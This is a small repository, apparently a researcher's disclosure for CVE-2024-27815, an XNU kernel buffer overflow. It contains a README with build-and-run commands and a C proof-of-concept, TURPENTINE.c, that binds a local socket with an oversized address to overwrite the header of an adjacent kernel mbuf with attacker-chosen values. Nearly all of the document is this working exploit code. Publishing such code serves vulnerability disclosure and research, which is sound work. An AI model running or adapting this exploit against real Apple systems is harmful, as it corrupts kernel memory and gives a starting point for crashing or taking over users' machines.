├── README.md └── TURPENTINE.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-27815 2 | 3 | XNU kernel buffer overflow. Introduced in `xnu-10002.1.13`, fixed in `xnu-10063.121.3`. 4 | 5 | Writeup: https://jprx.io/cve-2024-27815 6 | 7 | ```bash 8 | gcc TURPENTINE.c -o TURPENTINE 9 | ./TURPENTINE 10 | ``` 11 | 12 | ### Hash 13 | 14 | ```bash 15 | $ sha256sum TURPENTINE.c 16 | f7160a6ad7d52f32d64b86cf3006c98a217954d80c3fc71a8f27595e227d0fa0 TURPENTINE.c 17 | ``` 18 | 19 | [Hash posted to X on Feb 17, 2024](https://x.com/0xjprx/status/1758753797441266010) 20 | -------------------------------------------------------------------------------- /TURPENTINE.c: -------------------------------------------------------------------------------- 1 | // ravi (@0xjprx) 2 | // Overflow in sbconcat_mbufs when CONFIG_MBUF_MCACHE is on. 3 | // The overflow allows us to control the m_hdr of whatever mbuf is 4 | // unfortunate enough to be allocated after us. 5 | // Bug introduced in xnu-10002.1.13. 6 | // gcc exploit.c -o exploit 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define SOCKETPAIR_FD ((1)) 20 | #define SIZE_OF_SOCKNAME ((0xFF)) 21 | #define FILENAME "/tmp/TURPENTINESOCKET" 22 | 23 | #define OFFSET_MHDR ((224)) 24 | 25 | typedef struct m_hdr { 26 | uint64_t mh_next; 27 | uint64_t mh_nextpkt; 28 | uint64_t mh_data; 29 | uint32_t mh_len; 30 | uint16_t mh_type; 31 | uint16_t mh_flags; 32 | } m_hdr; 33 | 34 | int main() { 35 | uint8_t sockaddr_un_buf[SIZE_OF_SOCKNAME+1]; 36 | int rv = 0; 37 | int socket_vector_fds[2]; 38 | socket_vector_fds[0] = 0; 39 | socket_vector_fds[1] = 0; 40 | 41 | rv = socketpair(PF_LOCAL, SOCK_DGRAM, 0, (int *)&socket_vector_fds); 42 | if (-1 == rv) { 43 | fprintf(stderr, "Error creating socket pair: %s\n", strerror(errno)); 44 | return EXIT_FAILURE; 45 | } 46 | 47 | memset(sockaddr_un_buf, '\x00', sizeof(sockaddr_un_buf)); 48 | 49 | // Fill in with whatever you want the m_hdr of the next mbuf to be :) 50 | m_hdr *header = (m_hdr *)&sockaddr_un_buf[OFFSET_MHDR]; 51 | header->mh_next = 0x4040404040404040ULL; 52 | header->mh_nextpkt = 0x4141414141414141ULL; 53 | header->mh_data = 0x4242424242424242ULL; 54 | header->mh_len = 0x43434343; 55 | header->mh_type = 0x4444; 56 | header->mh_flags = 0x4545; 57 | 58 | struct sockaddr_un *socket_name = (struct sockaddr_un *)sockaddr_un_buf; 59 | socket_name->sun_len = SIZE_OF_SOCKNAME; 60 | socket_name->sun_family = 0x00; 61 | strcpy((char *)(socket_name->sun_path), FILENAME); 62 | 63 | rv = bind(socket_vector_fds[SOCKETPAIR_FD], (const struct sockaddr *)socket_name, SIZE_OF_SOCKNAME); 64 | if (0 != rv) { 65 | fprintf(stderr, "Error binding: %s\n", strerror(errno)); 66 | return EXIT_FAILURE; 67 | } 68 | 69 | rv = write(socket_vector_fds[SOCKETPAIR_FD], NULL, 0); 70 | if (-1 == rv) { 71 | fprintf(stderr, "Error write: %s\n", strerror(errno)); 72 | return EXIT_FAILURE; 73 | } 74 | 75 | close(socket_vector_fds[0]); 76 | close(socket_vector_fds[1]); 77 | unlink(FILENAME); 78 | 79 | printf("Goodbye :)\n"); 80 | return EXIT_SUCCESS; 81 | } --------------------------------------------------------------------------------